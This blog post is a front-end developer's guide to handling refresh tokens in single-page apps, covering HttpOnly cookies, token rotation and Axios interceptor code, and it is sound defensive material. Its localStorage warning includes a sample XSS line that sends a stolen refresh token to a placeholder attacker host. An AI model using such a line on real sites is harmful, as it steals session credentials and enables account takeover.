• Home
  • Skills
  • Projects
  • Blog
  • Contact
Resume
Naser Rasouli

Author

Naser Rasouli

Front-End developer - sharing lessons learned, notes, and write-ups from real projects.

GitHubLinkedIn

Last posts

Static RBAC: Roles & Permissions in React
2025-12-20•1 min read

Static RBAC: Roles & Permissions in React

A lightweight RBAC pattern to guard routes and UI in React with static roles and permissions.

Mastering Record in TypeScript
2025-12-13•1 min read

Mastering Record in TypeScript

Mastering Record in TypeScript: The Clean Way to Map Enums to Labels and Colors

Conventional Commits: Write Better Git Messages
2025-12-12•1 min read

Conventional Commits: Write Better Git Messages

Master Git commit messages with Conventional Commits to keep history readable and automation-friendly.

Refresh Tokens on the Frontend: Architecture & Implementation

Refresh Tokens on the Frontend: Architecture & Implementation

2025-12-27
refresh-tokenjwtauthentication

Introduction

Modern SPAs (React, Vue, Next.js, etc.) often rely on JWT-based authentication. After login, the server issues two tokens:

  • Access Token for authenticating each request
  • Refresh Token for renewing the Access Token without forcing a new login

The main question:
Where and how do we keep these tokens on the frontend so they stay secure and still deliver a smooth UX?

This guide focuses on refresh tokens — the risks, the right architecture, and a hands-on implementation for the frontend.


Access Token vs. Refresh Token

Access Token

  • Short-lived (e.g., 5–15 minutes)
  • Sent with every request (usually Authorization: Bearer <token>)
  • If stolen, usable until it expires

Refresh Token

A longer-lived, sensitive token whose only job is to:

Issue a new Access Token without forcing the user to log in again.

As long as the Refresh Token is valid, the user can close the tab, come back hours or days later, and still be signed in.


Why bother with a Refresh Token?

With only an Access Token you have two bad choices:

  1. Make it short-lived → users get prompted to log in often → bad UX
  2. Make it long-lived → if stolen, attackers keep access for a long time → bad security

The split solves this:

  • Access Token → short-lived → lower risk
  • Refresh Token → longer-lived → good UX

Key differences

Feature Access Token Refresh Token
Purpose Auth each request Issue a new Access Token
Lifetime Short (minutes) Long (hours/days)
Usage Sent with every request Only on refresh endpoint (e.g., /auth/refresh)
Suggested storage In-memory / secure storage HttpOnly secure cookie on backend domain
Risk if stolen Medium High (can mint many Access Tokens)

The full auth flow with refresh

  1. Login

    • User sends credentials.
    • Server returns an Access Token and sets a Refresh Token as an HttpOnly + Secure cookie.
  2. Normal requests

    • Frontend reads the Access Token (from memory) and sets Authorization.
    • Server validates and responds.
  3. Access Token expires

    • Server returns 401 Unauthorized.
    • Frontend detects expiry and calls /auth/refresh (Refresh Token is sent automatically via cookie).
  4. New tokens

    • Server validates the Refresh Token.
    • If valid:
      • Returns a new Access Token.
      • Usually issues a new Refresh Token (Token Rotation).
    • Frontend stores the new Access Token and retries the original request.
  5. Logout

    • Frontend calls POST /auth/logout.
    • Server invalidates the Refresh Token and clears/expires the cookie.

Never store Refresh Tokens in localStorage

Tempting, but unsafe:

// Unsafe — don't do this
localStorage.setItem("refresh_token", REFRESH_TOKEN);

Because localStorage is readable by JavaScript, an XSS bug lets attackers steal the token:

// XSS example
const refreshToken = localStorage.getItem("refresh_token");
fetch("https://attacker.com/steal?rt=" + encodeURIComponent(refreshToken));

With a stolen Refresh Token, an attacker can mint fresh Access Tokens from anywhere.
Avoid localStorage/sessionStorage for Refresh Tokens.


Best practice storage

For SPAs:

  1. Access Token in memory

    • A simple variable or state manager (Redux, Zustand, etc.)
    • Lost on full page reload → but Refresh Token issues a new one.
  2. Refresh Token in an HttpOnly Secure Cookie

    • Set by the server on the backend domain.
    • Key flags:
      • HttpOnly → JavaScript can’t read it (XSS-resistant).
      • Secure → HTTPS only.
      • SameSite=Strict or Lax → lowers CSRF risk.

Example login response header:

Set-Cookie: refresh_token=<token_value>;
  HttpOnly;
  Secure;
  Path=/auth/refresh;
  SameSite=Strict;
  Max-Age=1209600
  • Path=/auth/refresh → only sent on refresh calls.
  • SameSite=Strict → avoids cross-site sends (CSRF reduction).

Token Rotation (why it matters)

Token Rotation means:

Every time you use a Refresh Token to get a new Access Token, the server also issues a brand-new Refresh Token and invalidates the old one.

Benefits:

  • A stolen old Refresh Token dies after your next refresh.
  • Concurrent use from different IPs flags suspicious activity so the server can close the session.

Simple flow:

  1. Request /auth/refresh with Refresh Token #1.
  2. Server invalidates #1, returns Access Token + Refresh Token #2.
  3. Next time, only #2 works.

Practical frontend setup (Axios)

1) Keep the Access Token in memory

// authStore.js
let accessToken = null;

export function setAccessToken(token) {
  accessToken = token;
}

export function getAccessToken() {
  return accessToken;
}

export function clearAccessToken() {
  accessToken = null;
}

During login:

import axios from "axios";
import { setAccessToken } from "./authStore";

export async function login(email, password) {
  const res = await axios.post("/auth/login", { email, password }, {
    withCredentials: true, // to send/receive HttpOnly cookie
  });

  setAccessToken(res.data.access_token);
}

Note: The Refresh Token is set as an HttpOnly cookie by the backend; the frontend never reads it directly.


2) Add the Access Token to requests (request interceptor)

import axios from "axios";
import { getAccessToken } from "./authStore";

const api = axios.create({
  baseURL: "/api",
  withCredentials: true, // send refresh cookie when needed
});

api.interceptors.request.use((config) => {
  const token = getAccessToken();
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

export default api;

3) Handle 401 and auto-refresh (response interceptor)

import api from "./api";
import { setAccessToken, clearAccessToken } from "./authStore";

let isRefreshing = false;
let pendingRequests = [];

function subscribeTokenRefresh(callback) {
  pendingRequests.push(callback);
}

function onRefreshed(newToken) {
  pendingRequests.forEach((cb) => cb(newToken));
  pendingRequests = [];
}

async function refreshToken() {
  const res = await api.post("/auth/refresh"); // HttpOnly cookie sent automatically
  const newAccessToken = res.data.access_token;
  setAccessToken(newAccessToken);
  return newAccessToken;
}

api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config;

    if (error.response?.status === 401 && !originalRequest._retry) {
      originalRequest._retry = true;

      if (!isRefreshing) {
        isRefreshing = true;
        try {
          const newToken = await refreshToken();
          isRefreshing = false;
          onRefreshed(newToken);
          originalRequest.headers.Authorization = `Bearer ${newToken}`;
          return api(originalRequest);
        } catch (err) {
          isRefreshing = false;
          clearAccessToken();
          // window.location.href = "/login";
          return Promise.reject(err);
        }
      }

      return new Promise((resolve) => {
        subscribeTokenRefresh((newToken) => {
          originalRequest.headers.Authorization = `Bearer ${newToken}`;
          resolve(api(originalRequest));
        });
      });
    }

    return Promise.reject(error);
  }
);

Key points:

  • Only one /auth/refresh call runs at a time.
  • Other requests that hit 401 queue up and retry after refresh.
  • After a successful refresh, all queued requests replay with the new token.

Secure logout

import api from "./api";
import { clearAccessToken } from "./authStore";

export async function logout() {
  try {
    await api.post("/auth/logout");
  } finally {
    clearAccessToken();
    // window.location.href = "/login";
  }
}

Steps:

  1. Clear the Access Token in the frontend.
  2. Ask the backend to invalidate the Refresh Token and clear/expire the cookie.

Notes for SSR frameworks (Next.js)

  • Keep the Refresh Token in an HttpOnly cookie.
  • In API Routes/Route Handlers, read and validate the Refresh Token from the cookie.
  • For Access Tokens:
    • On server-render, read from cookies/headers and pass only needed data to the client.
    • Or keep the whole refresh logic server-side and expose a secure session to the client.

Security checklist

  • Don’t store Refresh Tokens in localStorage/sessionStorage
  • Use HttpOnly + Secure cookies for Refresh Tokens
  • Keep Access Token in memory
  • Implement Token Rotation on the backend
  • Use SameSite=Strict or Lax to reduce CSRF
  • Enforce HTTPS in real environments
  • Add an auto-refresh layer on the frontend (401 interceptor)
  • Implement secure logout that invalidates Refresh Tokens server-side
  • Monitor logs for suspicious Refresh Token usage

Conclusion

Refresh tokens balance security and UX for modern frontends. Use the pattern:

  • Short-lived Access Token in memory
  • Long-lived Refresh Token in an HttpOnly Secure Cookie
  • Token Rotation to limit blast radius

Implement this flow and you’ll add a strong security layer without forcing users through constant re-logins. Happy coding! 🚀